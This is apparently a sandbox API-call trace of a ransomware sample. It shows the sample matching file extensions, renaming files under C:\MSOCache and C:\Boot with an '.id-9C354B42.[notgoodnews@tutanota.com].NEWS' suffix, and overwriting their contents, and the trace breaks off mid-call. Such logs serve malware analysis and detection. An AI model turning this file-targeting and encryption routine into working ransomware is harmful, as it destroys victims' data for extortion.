[0071.455] lstrlenW (lpString=".bz2") returned 4 [0071.455] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0071.455] lstrlenW (lpString=".7z") returned 3 [0071.455] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0071.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0071.455] lstrlenW (lpString=".dbf") returned 4 [0071.455] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0071.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0071.455] lstrlenW (lpString=".1cd") returned 4 [0071.455] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0071.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0071.455] lstrlenW (lpString=".jpg") returned 4 [0071.456] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0071.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0071.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0071.456] lstrlenW (lpString=".doc") returned 4 [0071.456] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0071.456] lstrlenW (lpString=".docx") returned 5 [0071.456] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0071.456] lstrlenW (lpString=".pdf") returned 4 [0071.456] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0071.456] lstrlenW (lpString=".xls") returned 4 [0071.456] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0071.456] lstrlenW (lpString=".xlsx") returned 5 [0071.456] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0071.456] lstrlenW (lpString=".ppt") returned 4 [0071.456] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0071.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0071.456] lstrlenW (lpString=".zip") returned 4 [0071.457] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0071.457] lstrlenW (lpString=".rar") returned 4 [0071.457] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0071.457] lstrlenW (lpString=".bz2") returned 4 [0071.457] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0071.457] lstrlenW (lpString=".7z") returned 3 [0071.457] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0071.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0071.457] lstrlenW (lpString=".dbf") returned 4 [0071.457] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0071.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0071.457] lstrlenW (lpString=".1cd") returned 4 [0071.457] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0071.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0071.457] lstrlenW (lpString=".jpg") returned 4 [0071.457] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0071.457] lstrcmpiW (lpString1=".cab", lpString2=".NEWS") returned -1 [0071.458] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0071.458] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0071.794] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=36233052) returned 1 [0071.794] CloseHandle (hObject=0x1cc) returned 1 [0071.805] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0071.806] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.806] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 1 [0071.806] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0071.807] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc6c | out: lpNewFilePointer=0x0) returned 1 [0071.807] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0071.807] ReadFile (in: hFile=0x1cc, lpBuffer=0x3b70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b70058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.814] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0071.814] ReadFile (in: hFile=0x1cc, lpBuffer=0x3bb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bb0058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.825] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x337fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0071.825] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x337fc2c | out: lpNewFilePointer=0x0) returned 1 [0071.825] ReadFile (in: hFile=0x1cc, lpBuffer=0x3bf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x337fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bf0058*, lpNumberOfBytesRead=0x337fc38*=0x40000, lpOverlapped=0x0) returned 1 [0071.845] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0071.845] WriteFile (in: hFile=0x1cc, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x337fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x337fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0072.612] SetEndOfFile (hFile=0x1cc) returned 1 [0072.612] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x3ee4858 [0072.613] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0072.613] WriteFile (in: hFile=0x1cc, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0072.614] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0072.614] WriteFile (in: hFile=0x1cc, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0072.615] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x337fc7c | out: lpNewFilePointer=0x0) returned 1 [0072.616] WriteFile (in: hFile=0x1cc, lpBuffer=0x3ee4858*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x337fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ee4858*, lpNumberOfBytesWritten=0x337fc88*=0x40000, lpOverlapped=0x0) returned 1 [0072.620] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3ee4858 | out: hHeap=0x5c0000) returned 1 [0072.620] CloseHandle (hObject=0x1cc) returned 1 [0072.620] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0072.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0072.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0072.621] lstrlenW (lpString=".doc") returned 4 [0072.621] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0072.621] lstrlenW (lpString=".docx") returned 5 [0072.621] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0072.621] lstrlenW (lpString=".pdf") returned 4 [0072.621] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0072.621] lstrlenW (lpString=".xls") returned 4 [0072.621] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0072.621] lstrlenW (lpString=".xlsx") returned 5 [0072.621] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0072.621] lstrlenW (lpString=".ppt") returned 4 [0072.621] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0072.621] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0072.621] lstrlenW (lpString=".zip") returned 4 [0072.621] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0072.621] lstrlenW (lpString=".rar") returned 4 [0072.621] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0072.621] lstrlenW (lpString=".bz2") returned 4 [0072.621] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0072.622] lstrlenW (lpString=".7z") returned 3 [0072.622] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0072.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0072.622] lstrlenW (lpString=".dbf") returned 4 [0072.622] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0072.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0072.622] lstrlenW (lpString=".1cd") returned 4 [0072.622] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0072.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0072.622] lstrlenW (lpString=".jpg") returned 4 [0072.622] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0072.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0072.622] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0072.622] lstrlenW (lpString=".doc") returned 4 [0072.622] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0072.622] lstrlenW (lpString=".docx") returned 5 [0072.622] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0072.622] lstrlenW (lpString=".pdf") returned 4 [0072.622] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0072.622] lstrlenW (lpString=".xls") returned 4 [0072.622] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0072.622] lstrlenW (lpString=".xlsx") returned 5 [0072.623] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0072.623] lstrlenW (lpString=".ppt") returned 4 [0072.623] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0072.623] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0072.623] lstrlenW (lpString=".zip") returned 4 [0072.623] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0072.623] lstrlenW (lpString=".rar") returned 4 [0072.623] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0072.623] lstrlenW (lpString=".bz2") returned 4 [0072.623] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0072.623] lstrlenW (lpString=".7z") returned 3 [0072.623] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0072.623] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0072.623] lstrlenW (lpString=".dbf") returned 4 [0072.623] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0072.623] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0072.623] lstrlenW (lpString=".1cd") returned 4 [0072.623] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0072.623] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0072.623] lstrlenW (lpString=".jpg") returned 4 [0072.623] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0072.624] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0072.624] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0072.624] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0073.008] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x337ff1c | out: lpFileSize=0x337ff1c*=715834) returned 1 [0073.008] CloseHandle (hObject=0x190) returned 1 [0073.009] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0073.022] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0073.023] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0073.023] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.023] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.023] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0073.023] GetLastError () returned 0x0 [0073.024] ReadFile (in: hFile=0x190, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x337fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0073.044] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x337fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0073.063] ReadFile (in: hFile=0x190, lpBuffer=0x3b70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x337fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesRead=0x337fed4*=0x0, lpOverlapped=0x0) returned 1 [0073.063] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b70020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x337fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b70020*, lpNumberOfBytesWritten=0x337fc9c*=0x104, lpOverlapped=0x0) returned 1 [0073.063] SetEndOfFile (hFile=0x1f4) returned 1 [0073.063] CloseHandle (hObject=0x1f4) returned 1 [0073.064] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x337fec8 | out: lpNewFilePointer=0x0) returned 1 [0073.064] SetEndOfFile (hFile=0x190) Thread: id = 16 os_tid = 0x324 [0044.110] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x36612d8 [0044.111] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x36712e0 [0044.111] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610b70 [0044.112] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x61a288 [0044.112] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610b88 [0044.112] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3c80020 [0044.112] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610ba0 [0044.112] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610ba0, Size=0x20) returned 0x35f0110 [0044.112] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610ba0 [0044.112] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610ba0, Size=0x20) returned 0x35f0138 [0044.112] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0044.113] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0044.113] Wow64DisableWow64FsRedirection (in: OldValue=0x35cff58 | out: OldValue=0x35cff58*=0x0) returned 1 [0044.113] lstrlenW (lpString="kernel32.dll") returned 12 [0044.113] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x35f0110 | out: hHeap=0x5c0000) returned 1 [0044.113] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0044.113] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x35f0138 | out: hHeap=0x5c0000) returned 1 [0044.113] Sleep (dwMilliseconds=0x64) [0044.424] Sleep (dwMilliseconds=0x64) [0044.655] lstrcmpiW (lpString1=".LOG1", lpString2=".NEWS") returned -1 [0044.656] lstrlenW (lpString="BCD.LOG1") returned 8 [0044.656] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0044.733] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=0) returned 1 [0044.734] CloseHandle (hObject=0x174) returned 1 [0044.734] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0044.734] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0044.734] lstrlenW (lpString=".doc") returned 4 [0044.734] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0044.734] lstrlenW (lpString=".docx") returned 5 [0044.734] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0044.734] lstrlenW (lpString=".pdf") returned 4 [0044.734] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0044.734] lstrlenW (lpString=".xls") returned 4 [0044.734] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0044.734] lstrlenW (lpString=".xlsx") returned 5 [0044.734] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0044.734] lstrlenW (lpString=".ppt") returned 4 [0044.734] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0044.734] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0044.734] lstrlenW (lpString=".zip") returned 4 [0044.735] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0044.735] lstrlenW (lpString=".rar") returned 4 [0044.735] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0044.735] lstrlenW (lpString=".bz2") returned 4 [0044.735] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0044.735] lstrlenW (lpString=".7z") returned 3 [0044.735] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0044.735] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0044.735] lstrlenW (lpString=".dbf") returned 4 [0044.735] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0044.735] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0044.735] lstrlenW (lpString=".1cd") returned 4 [0044.735] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0044.735] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0044.735] lstrlenW (lpString=".jpg") returned 4 [0044.735] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0044.735] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0044.735] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0044.736] lstrlenW (lpString=".doc") returned 4 [0044.736] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0044.736] lstrlenW (lpString=".docx") returned 5 [0044.736] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0044.736] lstrlenW (lpString=".pdf") returned 4 [0044.736] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0044.736] lstrlenW (lpString=".xls") returned 4 [0044.736] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0044.736] lstrlenW (lpString=".xlsx") returned 5 [0044.736] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0044.736] lstrlenW (lpString=".ppt") returned 4 [0044.736] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0044.736] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0044.736] lstrlenW (lpString=".zip") returned 4 [0044.736] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0044.736] lstrlenW (lpString=".rar") returned 4 [0044.736] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0044.736] lstrlenW (lpString=".bz2") returned 4 [0044.736] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0044.736] lstrlenW (lpString=".7z") returned 3 [0044.737] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0044.737] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0044.737] lstrlenW (lpString=".dbf") returned 4 [0044.737] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0044.737] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0044.737] lstrlenW (lpString=".1cd") returned 4 [0044.737] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0044.737] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0044.737] lstrlenW (lpString=".jpg") returned 4 [0044.737] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0044.737] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0044.737] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0044.737] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0045.071] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x35cff1c | out: lpFileSize=0x35cff1c*=1984228) returned 1 [0045.071] CloseHandle (hObject=0x17c) returned 1 [0045.071] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0045.071] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.071] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0 [0045.071] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0045.071] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0045.071] lstrlenW (lpString=".doc") returned 4 [0045.071] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0045.071] lstrlenW (lpString=".docx") returned 5 [0045.072] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0045.072] lstrlenW (lpString=".pdf") returned 4 [0045.072] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0045.072] lstrlenW (lpString=".xls") returned 4 [0045.072] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0045.072] lstrlenW (lpString=".xlsx") returned 5 [0045.072] lstrcmpiW 